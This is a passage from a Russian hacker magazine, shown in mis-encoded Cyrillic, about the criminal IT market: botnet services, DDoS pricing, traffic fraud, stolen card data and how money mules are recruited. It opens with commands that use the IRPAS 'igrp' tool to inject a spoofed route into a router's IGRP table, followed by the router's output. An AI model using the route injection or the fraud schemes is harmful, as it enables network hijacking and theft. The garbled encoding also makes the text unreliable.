îáåñïå÷åíèå áåçîïàñíîñòè ïðîòîêîëîâ ìàðøðóòè-
çàöèè. Â òî æå âðåìÿ ïîìíè: òîò, êòî êîíòðîëèðóåò
ìàðøðóòû, ñîåäèíÿþùèå ñåòè, òîò êîíòðîëèðóåò
ñåòü â öåëîì 
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òàáëèöà ììàðøðóòèçàöèè
sh ip route igrp

I 192.168.10.0/24 [100/8576] via 192.168.69.100, 00:00:16, Ethernet0

I 192.168.40.0/24 [100/8265] via 192.168.69.100, 00:00:16, Ethernet0

ââîä ïïðîèçâîëüíîãî ììàðøðóòà èè èèçìåíåíèå òòàáëèöû ììàðøðóòèçàöèè
arhontus irpas # cat routes.kos

192.168.10.0:1000:476:1500:255:1:1

arhontus irpas # ./igrp -v -i eth0 -a 31337 -D 192.168.69.36 -f routes.kos

sh ip route igrp

I 192.168.10.0/24 [100/8576] via 192.168.69.100, 00:00:16, Ethernet0

I 192.168.40.0/24 [100/8265] via 192.168.69.100, 00:00:16, Ethernet0

I 192.168.55.0/24 [100/2100] via 192.168.69.102, 00:00:02, Ethernet0
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DDrr.. KKlloouunniizz
ÍÅÇÀÂÈÑÈÌÛÉ ÑÑÓÄÜß
ÂÛÏÓÑÊÀÞÙÈÉ ÐÅÄÀÊÒÎÐ ÆÓÐÍÀËÀ 
«ÕÀÊÅÐ ÑÏÅÖ»

Âî-ïåðâûõ, íå óäèâëÿéñÿ ñòèëþ ýòîé ñòàòüè :). Äåéñòâèòåëüíî, òàêîãî æåñòîêî êàçåííîãî ñòèëÿ â íà-
øåì æóðíàëå òû åùå íå âèäåë è, ñêîðåå âñåãî, áîëüøå íå óâèäèøü. Ìû ïîñòàâèëè ñåáå èìåííî òà-
êóþ ñåêðåòíóþ çàäà÷ó: ñíà÷àëà àâòîð ïèøåò ñòàòüþ (ñîáñòâåííî, îí ñîáðàë èíôîðìàöèþ è èç îôè-
öèàëüíûõ èñòî÷íèêîâ, è îò òåìíîé ñòîðîíû), à ïîòîì ÿ îáùàþñü ñ íàñòîÿùèìè èëè áûâøèìè ïðåäñ-
òàâèòåëÿìè êîìïüþòåðíîãî àíäåãðàóíäà è âûíîøó èõ ìíåíèå íà òâîé ñóä (è íå òîëüêî, îáðàòè âíè-
ìàíèå íà òî÷êó çðåíèÿ îäíîãî õîðîøåãî ÷åëîâåêà èç «Ëàáîðàòîðèè Êàñïåðñêîãî» :). Äà, ÿ èìåþ â âè-
äó À. Ñåìåíþ÷åíêî, õîòÿ çäåñü îí òîëüêî âûñêàçûâàåò ñâîå ìíåíèå.) Ïî÷åìó òàê? Ïîòîìó ÷òî åäèíî-
ãî ìíåíèÿ íåò è íå ìîæåò áûòü: ìû íèêîãäà íå âû÷èñëèì òî÷íîå êîëè÷åñòâî çëî-êîìïüþòåðùèêîâ, íå
çàëåçåì èì â êàðìàí, ÷òîáû ïîäñ÷èòàòü èõ çàðàáîòîê, è íå âûÿñíèì ñðåäíåå êîëè÷åñòâî çîìáè â
ñðåäíåì áîòíåòå. à íàì è íå íàäî! Ñèíòåçèðóÿ èíôîðìàöèþ èç ýòîé ñòàòüè ñ ìíåíèÿìè íàøèõ ýêñ-
ïåðòîâ, òû ñìîæåøü ñôîðìèðîâàòü ñîâåðøåííî îïðåäåëåííóþ è îáúåêòèâíóþ òî÷êó çðåíèÿ.

Çà 2004 ãîä â Ðîññèè çàðåãèñòðèðîâàíî 13 723
ïðåñòóïëåíèÿ, ÷òî íà 94% áîëüøå, ÷åì â 2003.
Â 2005 ãîäó çàðåãèñòðèðîâàíî 14 810 ïðåñòóïëå-
íèé, ÷òî, òåì íå ìåíåå, íà 11,7% áîëüøå, ÷åì â
2004 ãîäó. Î÷åâèäíî çàìåäëåíèå òåìïîâ ðîñòà,
îäíàêî êîëè÷åñòâî ïðåñòóïëåíèé â ñôåðå èíôîð-
ìàöèîííûõ òåõíîëîãèé âñå-òàêè ïðîäîëæàåò ðàñ-
òè. Òàê ïðîèñõîäèò íå òîëüêî â Ðîññèè, íî è âî
âñåì ìèðå, ïîýòîìó ìîæíî óâåðåííî ãîâîðèòü î
ïðîäîëæåíèè ðîñòà ïðåñòóïíîñòè è åå äàëüíåé-
øåì ðàçâèòèè â áëèæàéøèå ãîäû.

Àêòèâíî ðàçâèâàÿñü, êîìïüþòåðíîå êðèìèíàëüíîå
îáùåñòâî óæå ñôîðìèðîâàëî ñâîé âèðòóàëüíûé
êðèìèíàëüíûé ìèð. Åñëè áóêâàëüíî íåñêîëüêî ëåò
íàçàä áîëüøèíñòâî ïðåñòóïëåíèé â ñôåðå ÈÒ ñî-
âåðøàëîñü ïîäðîñòêàìè è ñòóäåíòàìè, ïðè÷åì
÷àñòî ïðîñòî èç-çà îçîðñòâà, òî òåïåðü âûðîñøèå
ïîäðîñòêè îñîçíàëè (ñîãëàñíî ñòàòèñòèêå îòäåëà

«Ê», 60% ïðàâîíàðóøèòåëåé — ëèöà îò 20-òè äî
35-òè ëåò, è òîëüêî 24% — ëèöà äî 20-òè ëåò), ÷òî
íà ýòîì ìîæíî çàðàáàòûâàòü äåíüãè. Ñîãëàñíî
äàííûì Reuters, óæå â 2004 ãîäó îáúåì ñðåäñòâ,
«çàðàáîòàííûõ» êèáåðïðåñòóïíèêàìè, ñîñòàâèë
$105 ìëðä. è òåì ñàìûì ïðåâûñèë äîõîä íàðêî-
òîðãîâëè.

ÑÎÃËÀÑÍÎ ÑÒÀÒÈÑÒÈÊÅ ÃÈÖ ÌÂÄ ÐÎÑÑÈÈ ÇÀ 2005 ÃÎÄ, Â ÍÀØÅÉ ÑÒÐÀÍÅ ÇÀÐÅÃÈÑÒ-
ÐÈÐÎÂÀÍÎ ÁÎËÅÅ 14 ÒÛÑß× ÏÐÅÑÒÓÏËÅÍÈÉ Â ÑÔÅÐÅ ÒÅËÅÊÎÌÌÓÍÈÊÀÖÈÉ È ÊÎÌ-
ÏÜÞÒÅÐÍÎÉ ÈÍÔÎÐÌÀÖÈÈ. ÍÀÈÁÎËÅÅ ÌÍÎÃÎ×ÈÑËÅÍÍÛ ÏÐÅÑÒÓÏËÅÍÈß, ÑÂßÇÀÍ-
ÍÛÅ Ñ ÍÅÏÐÀÂÎÌÅÐÍÛÌ ÄÎÑÒÓÏÎÌ Ê ÊÎÌÏÜÞÒÅÐÍÎÉ ÈÍÔÎÐÌÀÖÈÈ. ÑËÅÄÓÞÙÀß
ÏÎ ÎÁÚÅÌÓ ÃÐÓÏÏÀ ÏÐÅÑÒÓÏËÅÍÈÉ — ÍÀÏÐÀÂËÅÍÍÛÅ ÍÀ «ÑÎÇÄÀÍÈÅ, ÈÑÏÎËÜÇÎ-
ÂÀÍÈÅ È ÐÀÑÏÐÎÑÒÐÀÍÅÍÈÅ ÂÐÅÄÎÍÎÑÍÛÕ ÏÐÎÃÐÀÌÌ ÄËß ÝÂÌ» |SAMODUROV A.M.

òòààééííûû
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ððûûííêêàà IITT
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Ëîãè÷íî, ÷òî äàëüíåéøåå ðàçâèòèå êîìïüþòåðíîé
ïðåñòóïíîñòè ïîâëåêëî çà ñîáîé ïîÿâëåíèå îñîáî-
ãî «òåíåâîãî» ÈÒ-ðûíêà, ñóùåñòâîâàíèå êîòîðîãî
äî ñèõ ïîð îñïàðèâàëîñü ýêñïåðòàìè, íî áûëî äî-
êàçàíî çàôèêñèðîâàííûìè ôàêòàìè ïðîäàæè êðè-
ìèíàëüíîãî ÈÒ-òîâàðà. Òàê, â äåêàáðå 2004 ãîäà
«Ëàáîðàòîðèÿ Êàñïåðñêîãî» îïóáëèêîâàëà äàí-
íûå î ïîÿâèâøèõñÿ ñîîáùåíèÿõ ïî ïîâîäó ïðîäà-
æè ýêñïëîéòà äëÿ óÿçâèìîñòè Windows Meta File.

Òàê èëè èíà÷å, áóäóùåå êðèìèíàëüíîãî ÈÒ-
ðûíêà óæå îïðåäåëåííî: îí óæå ôîðìèðóåòñÿ è â
äàëüíåéøåì áóäåò òîëüêî ðàçâèâàòüñÿ, à âèðòó-
àëüíûé òîâàð óæå ñòàë ñåðüåçíûì ñðåäñòâîì äëÿ
ñîâåðøåíèÿ ðåàëüíûõ ïðåñòóïëåíèé.

Î÷åíü ñëîæíî è, ñêîðåå, äàæå íåâîçìîæíî
äàòü òî÷íîå è ïîäðîáíîå îïèñàíèå ýòîãî ðûíêà,
ãäå áûëè áû êëàññèôèöèðîâàíû ãðóïïû òîâàðîâ,
îïðåäåëåíû îáúåìû ïðîäàæ è ñëîæèâøèåñÿ ñåã-
ìåíòû. Ìîæíî äàòü ëèøü ïðèáëèçèòåëüíûå îöåíêè
è îïèñàòü îáùóþ íàïðàâëåííîñòü ðàçâèòèÿ ðûíêà.
Â ýòîé ñòàòüå ìû ïîïûòàåìñÿ íàçâàòü îñíîâíûå
ãðóïïû òîâàðîâ, èõ ñòîèìîñòü è ó÷àñòíèêîâ ðûíêà.
Èòàê, íà÷íåì…

áîòíåòû. Ñåãîäíÿ îäíèì èç íàèáîëåå âîñòðå-
áîâàííûõ òîâàðîâ «òåíåâîãî» ðûíêà ÿâëÿþòñÿ
áîòíåòû, èëè áîòñåòè, èëè (åùå îäíî íàçâàíèå) —
çîìáè-ñåòè. Âîñòðåáîâàííîñòü ïîäòâåðæäàåòñÿ
èññëåäîâàíèÿìè íåêîòîðûõ ôèðì, íàïðèìåð
êîìïàíèè Webroot, êîòîðàÿ ñïåöèàëèçèðóåòñÿ
íà áîðüáå ñ âðåäîíîñíûìè ïðîãðàììàìè: ïî åå
äàííûì, êîëè÷åñòâî «øïèîíñêèõ ïðîãðàìì»
(SpyWare) çà 2005 ãîä óâåëè÷èëîñü â òðè ðàçà,
÷òî ñâèäåòåëüñòâóåò â ïîëüçó âîñòðåáîâàííîñòè
SpyWare-ðåñóðñîâ.

Â òå÷åíèå ïðîøåäøåãî ãîäà áûëî îáíàðóæå-
íû 400 òûñÿ÷ ñàéòîâ, ðàñïðîñòðàíÿþùèõ «øïèîí-
ñêèå ïðîãðàììû». Èõ îáùåå êîëè÷åñòâî äîñòèãëî
120 òûñÿ÷, òîãäà êàê â íà÷àëå 2005 ãîäà îãðàíè÷è-
âàëîñü 40 òûñÿ÷àìè.

Ñîáñòâåííî òåðìèí «áîòíåò» ïðîèñõîäèò îò
àíãëèéñêîãî æàðãîííîãî ñëîâà «botnet» è ïðèìå-
íÿåòñÿ ê ñåòè, ñîñòîÿùåé èç íåêîòîðîãî êîëè÷åñò-
âà õîñòîâ, çàðàæåííûõ «áîòàìè» — àâòîíîìíûì
ïðîãðàììíûì îáåñïå÷åíèåì, êîòîðîå ñêðûòíî óñ-
òàíàâëèâàåòñÿ íà êîìïüþòåðå æåðòâû è ïîçâîëÿåò
çëîóìûøëåííèêó âûïîëíÿòü íåêèå äåéñòâèÿ ñ çà-
ðàæåííîé ìàøèíîé. Êàê ïðàâèëî, êîìïüþòåð ñòà-
íîâèòñÿ ïîëíîñòüþ ïîäêîíòðîëüíûì, îòñþäà è åãî
íàçâàíèå — «çîìáè». Ðàñïîëàãàÿ ãðóïïîé òàêèõ
êîìïüþòåðîâ, çëîóìûøëåííèê ïîëó÷àåò ïîë-
íîñòüþ óïðàâëÿåìóþ çîìáè-ñåòü. Èçâåñòíû ñëó÷àè
âûÿâëåíèÿ ñåòåé, ñîñòîÿùèõ èç 10 000 (ïðèìåð —
ñåòü, âûÿâëåííàÿ èçâåñòíîé íîðâåæñêîé òåëåêîì-
ìóíèêàöèîííîé êîìïàíèåé â 2004 ãîäó) è äàæå
100 000 êîìïüþòåðîâ (îáíàðóæåíà ãîëëàíäñêèìè
âëàñòÿìè â 2005 ãîäó).

Êàê ïðàâèëî, ñîáñòâåííî áîòñåòü íå ïðîäàåò-
ñÿ — ïðîäàþòñÿ òîëüêî óñëóãè, îêàçûâàåìûå åé. Â
íåêîòîðûõ ñëó÷àÿõ áîòñåòü «ñäàåòñÿ â àðåíäó», òî
åñòü íåêîòîðîå âðåìÿ èñïîëüçóåòñÿ çàêàç÷èêîì â
ïðîèçâîëüíûõ öåëÿõ.

Íà òåíåâîì âèðòóàëüíîì ðûíêå îñíîâíîé äîõîä
ïîëó÷àþò èìåííî ïóòåì èñïîëüçîâàíèÿ áîò-ñåòåé.
Ïðîòèâîäåéñòâîâàòü òàêèì ñåòÿì î÷åíü ñëîæíî.
Äîñòàòî÷íî êðóïíóþ áîòñåòü ìîæíî ñîçäàòü ïðè-
ìåðíî çà íåäåëþ-äâå! Îäíàêî íà åå îáíàðóæåíèå
è íåéòðàëèçàöèþ çàòðà÷èâàþòñÿ ìåñÿöû. Îïðåäå-
ëèòü âëàäåëüöà çëîâðåäíîé áîòñåòè («ïàñòóõà»),
åñëè è âîçìîæíî, òî êðàéíå ñëîæíî, òàê êàê îí èñ-
ïîëüçóåò ñëîæíóþ öåïî÷êó ïîñðåäíèêîâ, ÷àñòü èç
êîòîðûõ, âîçìîæíî, äàæå íå ïîäîçðåâàåò î ñâîåé
ïðè÷àñòíîñòè.

Ñòîèìîñòü óñëóã, îêàçûâàåìûõ áîò-ñåòüþ,
êîëåáëåòñÿ â äîñòàòî÷íî áîëüøîì äèàïàçîíå.
Íàïðèìåð, ñòîèìîñòü DDoS ñèëüíî çàâèñèò îò
óðîâíÿ àòàêóåìîãî óçëà, òðåáóåìîé âåëè÷èíû àòà-

ÌÌààêêññèèìì ÝÝìììì
((ÑÑÂÂÅÅÒÒËËÀÀßß ÑÑÒÒÎÎÐÐÎÎÍÍÀÀ))
ÇÀÌÅÑÒÈÒÅËÜ ÄÈÐÅÊÒÎÐÀ ÏÎ ÊÎÍÑÀË-
ÒÈÍÃÓ ÊÎÌÏÀÍÈÈ «ÈÍÔÎÐÌÇÀÙÈÒÀ»

Cïèñîê óñëóã, îêàçûâàåìûé çîìáè-ñåòÿìè,
âåëèê. Ñ ïîìîùüþ áîòñåòåé ìîæíî îñó-
ùåñòâëÿòü ðàçíîîáðàçíûå îïåðàöèè:

— ÎÐÃÀÍÈÇÀÖÈß DDOS-ÀÒÀÊ 
(DENIAL-OF-SERVICE ATTACKS);

— ÑÎÇÄÀÍÈÅ ÖÅÏÈ SMTP RELAY,
ÆÈÇÍÅÍÍÎ ÍÅÎÁÕÎÄÈÌÎÉ ÄËß
ÐÀÑÑÛËÊÈ ÑÏÀÌÀ;

— ÏÎËÓ×ÅÍÈÅ ÏÎËÜÇÎÂÀÒÅËÜÑÊÎÃÎ
ÒÐÀÔÈÊÀ, ÍÓÆÍÎÃÎ, ÍÀÏÐÈÌÅÐ,
ÄËß ÏÎÄÍßÒÈß ÈÍÄÅÊÑÀ ÖÈÒÈÐÓ-
ÅÌÎÑÒÈ WEB-ÑÀÉÒÀ ÈËÈ ÄËß 
ÌÎØÅÍÍÈ×ÅÑÒÂÀ Ñ ÏÐÎÑÌÎÒÐÎÌ
ÐÅÊËÀÌÛ;

— ÊÐÀÆÈ ÑÅÐÈÉÍÛÕ ÍÎÌÅÐÎÂ
ÏÐÎÃÐÀÌÌÍÎÃÎ ÎÁÅÑÏÅ×ÅÍÈß 
Ñ ÇÀÐÀÆÅÍÍÛÕ ÌÀØÈÍ;

— ÊÐÀÆÀ ÔÈÍÀÍÑÎÂÎÉ 
ÈÍÔÎÐÌÀÖÈÈ;

— ÊÐÀÆÀ ÀÓÒÅÍÒÈÔÈÊÀÖÈÎÍÍÎÉ
ÈÍÔÎÐÌÀÖÈÈ ÏÎËÜÇÎÂÀÒÅËÅÉ;

— ÎÁÅÑÏÅ×ÅÍÈÅ ÀÍÎÍÈÌÍÎÑÒÈ.

Âîò äàëåêî íå ïîëíûé ñïèñîê âîçìîæíîñòåé
áîòñåòåé.

ppaayyhhaasshh
(ÑÂÅÒËÀß ÑÑÒÎÐÎÍÀ)
×ÅËÎÂÅÊ, ÊÎÒÎÐÛÉ ÍÅ ÍÓÆÄÀÅÒÑß 
Â ÏÐÅÄÑÒÀÂËÅÍÈÈ :)

Îòìå÷ó, ÷òî â ãðóïïó ðèñêà (ãðóïïà ïðåñ-
òóïíèêîâ-ïðîôåññèîíàëîâ) ïîïàäàþò ñîâ-
ñåì íå ÈÒ-ñïåöèàëèñòû, êîòîðûå äîæèëè
äî 25-35 ëåò è ïîñòîÿííî ðàáîòàþò (60%
ïðåñòóïíèêîâ). Íàîáîðîò. Ãðóïïó ðèñêà
ñîñòàâëÿþò ìîëîäûå ëþäè îò 15-òè äî 25-
òè ëåò. Òàêæå õîòåëîñü áû óòî÷íèòü äàí-
íûå «Èíôîðìçàùèòû» î øåñòè-âîñüìè
ãðóïïàõ ïðîôåññèîíàëîâ: íà ñàìîì äåëå
èõ ãîðàçäî áîëüøå, ÷àñòî ïðåñòóïíèêè ðà-
áîòàþò ïî îäèíî÷êå (åñëè, êîíå÷íî, íå
ñ÷èòàòü ïàðòíåðîâ, êîòîðûå ïðèâàòíî îá-
ìåíèâàþòñÿ èíôîðìàöèåé, — íåëüçÿ íàç-
âàòü èõ îáùåíèå ãðóïïîé). Êîíå÷íî æå, êè-
áåðïðåñòóïíèêè îáúåäèíÿþòñÿ, íî íå èç-çà
ñòðåìëåíèÿ çàðàáîòàòü — îíè òîëüêî îá-
ìåíèâàþòñÿ èíôîðìàöèåé îá óÿçâèìîñòÿõ
(ìíîãîå çàâèñèò è îò íàïðàâëåíèÿ ãðóïïû).
Åñëè áðàòü òåìó íàïèñàíèÿ è ïðîäàæè
ýêñïëîéòîâ, òî òóò ïðèñóòñòâóþò äâå ÷àñòè:
1) ïóáëèêóåìûå (ïàáëèê); 2) äëÿ ïðèâàòíî-
ãî (êîììåð÷åñêîãî) èñïîëüçîâàíèÿ.
Îáà âèäà íàïðàâëåíû íà âçëîì ñèñòåìû
ïîòðåáèòåëÿìè, õîòÿ, íàñêîëüêî ìíå èçâå-
ñòíî, àâòîðû ðåäêî èñïîëüçóþò ñâîè ïðîã-
ðàììû äëÿ öåëåâîãî ìàñøòàáíîãî âçëîìà
ñèñòåìû. Îáû÷íî «òîâàð» ïðîäàþò êîíå÷-
íîìó êëèåíòó, è òîò èçâëåêàåò èç íåãî âû-
ãîäó (ðàçâîäèò áîòíåò, âîðóåò èíôîðìà-
öèþ — âñÿ åãî ðàáîòà îòíîñèòñÿ ê «òðàôè-
êó»). Òàêèõ ëþäåé ñëîæíî îòíåñòè ê êàòå-
ãîðèè ëþáèòåëåé: íóæíî åùå ñóìåòü ãðà-
ìîòíî ðàçâîäèòü ðàáîòó «ïî òðàôèêó»;).
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êè è, ñîîòâåòñòâåííî, îò âåëè÷èíû çîìáè-ñåòè.
Àòàêè ýòîãî âèäà íà èíôîðìàöèîííûå ðåñóðñû
êðóïíûõ âåíäîðîâ ñòîÿò íåäåøåâî: îò $50 äî 300 â
ìèíóòó, äëÿ îñóùåñòâëåíèÿ àòàêè èñïîëüçóþòñÿ
áîòñåòè ñ 50 000-150 000 õîñòîâ (ïî äàííûì èç
àíîíèìíûõ èñòî÷íèêîâ). Öåíà àòàêè â ðàñ÷åòå íà
îäíè ñóòêè ñîñòàâèò îò $72 000 äî 432 000. Åñòåñò-
âåííî, íå ëþáîé «êàðìàí» îñèëèò òàêèå çàòðàòû, â
òî æå âðåìÿ òîëüêî î÷åíü ñåðüåçíûå ðåñóðñû íàâ-
ëåêàþò íà ñåáÿ ýòè ìàñøòàáíûå àòàêè: ýëåêòðîí-
íûå ïëàòåæíûå ñèñòåìû, îíëàéí-êàçèíî, òðåéäèí-
ãîâûå ñèñòåìû. Óùåðá îò ïðîñòîåâ â ïîäîáíûõ ðå-
ñóðñàõ âî ìíîãî ðàç ïðåâûøàåò çàòðàòû íà îñóùå-
ñòâëåíèå ñîîòâåòñòâóþùèõ àòàê. Ïîäìî÷åííàÿ ðå-
ïóòàöèÿ ñèñòåìû òîëüêî óâåëè÷èò óáûòêè. Îäíàêî
íåäîáðîæåëàòåëü, óñòðîèâøèé ýòîò «ïðîâàë»,
âïîëíå îêóïèò ñâîè çàòðàòû.

Ïðèâåäó åùå îäíî îáúÿñíåíèå ñîîòíîøåíèþ
çàòðàò íà àòàêè ñ ïîìîùüþ áîòñåòåé. Çëîóìûø-
ëåííèê, êîòîðûé ïðîâîäèò ïîäîáíóþ àòàêó, ðèñêó-
åò ïîòåðÿòü êîíòðîëü íàä çîìáè-ñåòüþ (áóäóò óòðà-
÷åíû óíèêàëüíîñòü çëîâðåäíîãî ÏÎ è êîíòðîëü
íàä ñàìîé çîìáè-ñåòüþ).

DDoS-àòàêè íà èíôîðìàöèîííûå ðåñóðñû
ïðåäïðèÿòèé ìàëîãî è ñðåäíåãî áèçíåñà èñïîëü-
çóþò ñåòè îò 300 õîñòîâ è ñòîÿò ñóùåñòâåííî äå-
øåâëå: îò $500 â ñóòêè. Ðåàëüíîñòü îáñòîèò òàê,
÷òî àòàêóþùèé, åñëè îí îáëàäàåò îïðåäåëåííû-
ìè íàâûêàìè è ñîáèðàåò áþäæåò äî $500, ìîæåò
îòêëþ÷èòü îò ñåòè èíòåðíåò ïðàêòè÷åñêè ëþáóþ
ñåòü ñðåäíåñòàòèñòè÷åñêîé îðãàíèçàöèè íà òåð-
ðèòîðèè ÐÔ, à òàêæå íàíåñòè åé íåêîòîðûé ôè-
íàíñîâûé óùåðá.

Òåñò ïî ãåíåðàöèè çëîâðåäíîãî ñåòåâîãî
òðàôèêà ñ òðåõ áîòîâ çà ïåðèîä âðåìåíè 1200 ñå-
êóíä (20 ìèíóò) ïîêàçàë, ÷òî òðè áîòà ñïîñîáíû
ïîðîäèòü çëîâðåäíûé òðàôèê îáúåìîì 4 Ãá. Ñëå-
äîâàòåëüíî, 300 çîìáè ïîðîäÿò òðàôèê 400 Ãá çà
òå æå 20 ìèíóò.

Òèïè÷íàÿ îðãàíèçàöèÿ ïîëüçóåòñÿ åæåìå-
ñÿ÷íûì òàðèôîì ñ êàíàëîì 2 Ìáèò/ñ, òî åñòü
0,25 Ìáàéò/ñ. Ïîäñ÷èòûâàåì êîëè÷åñòâî òðàôèêà
è ïîëó÷àåì çà 1 ÷àñ = 0,25*1200= 300 Ìá.

Ïðåâûøåíèå êàæäîãî ìåãàáàéòà ñòîèò $0,04,
òî åñòü çà 1 Ãá îðãàíèçàöèÿ âûïëàòèò ïðîâàéäåðó
$40, çà 400 Ãá — äî $16 000.

Óñëóãè ïî ãåíåðàöèè ïîëüçîâàòåëüñêîãî
òðàôèêà îáîéäóòñÿ çàêàç÷èêó â $150 çà 1000 çàã-
ðóçîê. Íàïðèìåð, çîìáè-ñåòü ïîëó÷àåò êîìàíäó
âûïîëíèòü çàãðóçêó íåêîãî html[0]-ôàéëà 1000
ðàç ïîñëå ïðåäâàðèòåëüíîãî òåìàòè÷åñêîãî çàï-
ðîñà â ñëóæáó èíòåðíåò-êàòàëîãîâ èëè ïîèñêîâóþ
ñèñòåìó. Â ðåçóëüòàòå áóäåò ïîëó÷åí ïîëüçîâà-
òåëüñêèé òðàôèê, ïðèãîäíûé äëÿ ïîâûøåíèÿ èí-
äåêñà öèòèðóåìîñòè ñàéòà â ïîèñêîâûõ ñèñòåìàõ
èëè ïîëó÷åíèÿ ñðåäñòâ çà ïðîñìîòð ðåêëàìû (åñ-
ëè îïëàòà çàâèñèò îò êîëè÷åñòâà ïîêàçîâ). Çäåñü
ìîãóò áûòü èíòåðåñíû áîòñåòè ñ ãåîãðàôè÷åñêèì
ðàñïîëîæåíèåì áîòîâ: ÷àñòî èíòåðåñû çàêàç÷èêà
íàïðàâëåíû íà êîíêðåòíûå ãåîãðàôè÷åñêèå çî-
íû. Ñîáñòâåííî, ðûíîê ðåêëàìû â èíòåðíåòå —

äîñòàòî÷íî «ðàçäóòàÿ» âåùü. Ðåêëàìîäàòåëè
÷àñòî îæèäàþò îò íåå íåîïðàâäàííî ìíîãî. Êðî-
ìå òîãî, íå ñòîèò çàáûâàòü î íåïîðÿäî÷íûõ îðãà-
íèçàöèÿõ, ïîëüçîâàòåëÿìè ðåêëàìû êîòîðûõ ÷àñ-
òî ÿâëÿþòñÿ áîòû, à íå ëþäè. Òàêàÿ ïðîáëåìà
äîñòèãëà ìèðîâîãî ìàñøòàáà.

Ñëåäóþùèé ïîêóïàåìûé òîâàð íà òåíåâîì
ðûíêå — ýòî…

ïëàñòèê. Î÷åíü õîðîøî ïðîäàåòñÿ òàê íàçû-
âàåìûé «ïëàñòèê», èëè «êàðòîí» — ñïèñêè íîìå-
ðîâ áàíêîâñêèõ êàðò ñ äàííûìè î âëàäåëüöå, êîòî-
ðûå ïîëüçóþòñÿ âûñîêèì ñïðîñîì ñðåäè èíòåðíåò-
ìîøåííèêîâ è àêòèâíî èñïîëüçóþòñÿ èìè. Ïî âñå-
ìó ìèðó èíòåðíåò-ìîøåííèêîâ ñòàíîâèòñÿ âñå
áîëüøå. Ïî îöåíêàì Ôåäåðàëüíîé òîðãîâîé êî-
ìèññèè ÑØÀ, ýòîò âèä ïðåñòóïëåíèé çàíèìàåò äî-
ëþ 39% îò îáùåãî ÷èñëà èíòåðíåò-àôåð, à ïîòåðè
ïîñòðàäàâøèõ â 2004 ãîäó ñîñòàâèëè $265 ìëí.
Ýòè äàííûå ïî÷åðïíóòû èç îôèöèàëüíûõ èñòî÷íè-
êîâ, ðåàëüíîñòü æå óäðó÷àåò íàñ åùå áîëüøå.

Êàê ïðàâèëî, ïðîôåññèîíàëû èñïîëüçóþò
«ïëàñòèê» íå äëÿ îáíàëè÷èâàíèÿ ñðåäñòâ, à äëÿ
îïëàòû âèðòóàëüíûõ óñëóã êàêîãî-ëèáî ðîäà. Îá-
íàëè÷èâàíèå — î÷åíü ñëîæíàÿ è ðèñêîâàííàÿ
ïðîöåäóðà, íå âñÿêèé ãîòîâ âçÿòü íà ñåáÿ ýòîò
ðèñê. Êîãäà âîçìîæíîñòü ïðîâîäèòü ýëåêòðîííûå
ïëàòåæè òîëüêî ïîÿâèëàñü, êðàäåíûå íîìåðà
êðåäèòîê èñïîëüçîâàëè äëÿ îáíàëè÷èâàíèÿ äåíåã
èëè ïîêóïêè ðåàëüíûõ òîâàðîâ íà àäðåñ, íàïðè-
ìåð, «áàáóøêè». Ñåé÷àñ ïîäîáíûå ìàõèíàöèè êà-
æóòñÿ äîâîëüíî ãëóïûìè — â îñíîâíîì èìè çàíè-
ìàþòñÿ íåïðîôåññèîíàëû. Îïëàòà âèðòóàëüíûõ
óñëóã ïðîùå, ìåíåå ðèñêîâàííà è èñêëþ÷àåò
ñîáñòâåííî íåîáõîäèìîñòü ïîëüçîâàòüñÿ öåïî÷-
êîé ïîñðåäíèêîâ. Äîñòàòî÷íî îäíîãî ïîäñòàâíîãî
ëèöà, ïðè÷åì ïîñðåäíèê ìîæåò äàæå íå ïîäîçðå-
âàòü î òîì, â ÷åì îí ó÷àñòâóåò.

Ñëåäóþùèì ñïîñîáîì, ê ïðèìåðó, âåðáóþò
ïîäñòàâíîå ëèöî. Çëîóìûøëåííèê, íàõîäÿñü â
Ðîññèè, îáðàùàåòñÿ ê êîìó-íèáóäü, ñêàæåì, â
ÑØÀ. Ïðåäñòàâëÿåòñÿ áèçíåñìåíîì èç Êèòàÿ è
âûäâèãàåò ïðåäëîæåíèå: «Ó ìåíÿ åñòü êëèåíòû
â ÑØÀ, ÿ ïðåäîñòàâëÿþ èì óñëóãè. Íî íóæåí
ñîáñòâåííûé ïðåäñòàâèòåëü â ÑØÀ, êîòîðûé
ìîã áû ñîáðàòü ïëàòåæè íàëè÷íûìè èëè ÷åêàìè
è â äàëüíåéøåì ïåðåâåñòè èõ íà ìîé ñ÷åò â Ðîñ-
ñèþ. Äàâàéòå âû áóäåòå ìîè ïðåäñòàâèòåëåì.
Âñå, ÷òî îò âàñ ïîòðåáóåòñÿ, — ñîáèðàòü äåíüãè
è ïåðåïðàâëÿòü èõ ìíå, ðàçóìååòñÿ, îñòàâëÿÿ
îïðåäåëåííûé ïðîöåíò ñåáå». Ïîëó÷èâ ñîãëà-
ñèå, ïðåñòóïíèê óêàçûâàåò ñ÷åò èç ðåêâèçèòîâ
êèòàéñêîé êîìïàíèè, êîòîðàÿ ïðèíèìàåò îò íåãî
ïëàòåæ çà õîñòèíã. Êîíå÷íî æå, âëàäåëåö óêðà-
äåííîãî íîìåðà îáíàðóæèâàåò ïîäîçðèòåëüíûé
ïëàòåæ è çàÿâëÿåò î íåì, îòçûâàåò ïëàòåæ, íà
÷òî, îäíàêî, òðàòèò íå ìåíåå 30-òè ñóòîê. Â òå÷å-
íèå ýòîãî âðåìåíè çëîóìûøëåííèê ïîëüçóåòñÿ,
íàïðèìåð, áåçëèìèòíûì õîñòèíãîì, óñïåâàåò
ðàçìåñòèòü íà íåì îãðîìíóþ ìàññó âðåäîíîñ-
íûõ ïðîãðàìì è çàðàçèòü èì ìíîæåñòâî êîìïüþ-
òåðîâ. Ðàçûñêàòü ïîäñòàâíîå ëèöî íå ñîñòàâèò

GGeettoorriixx
(ÒÅÌÍÀß ÑÑÒÎÐÎÍÀ)
ÁÅÇÎÏÀÑÍÎÑÒÜ ÏÐÈËÎÆÅÍÈÉ ÄËß ÊÏÊ,
REVERSER

Ñëîæíî äîáàâèòü ÷òî-òî ñóùåñòâåííîå ê
ñêàçàííîìó, îäíàêî ïîìèìî âñåõ óïîìÿíó-
òûõ ñïîñîáîâ íå÷åñòíîãî çàðàáîòêà õîòå-
ëîñü áû îòìåòèòü áàíàëüíûé âçëîì ïðîã-
ðàììíîãî îáåñïå÷åíèÿ çà äåíüãè, êàê íè
ñòðàííî, î÷åíü ïîïóëÿðíûé. Àäåïòû «êðý-
êåðñêèõ» ïîðòàëîâ ðâóòñÿ íà ýòîò ðûíîê,
íî, ê ñ÷àñòüþ, äî ôèíèøà äîõîäÿò äàëåêî
íå âñå — çàêîí ïðèðîäû.

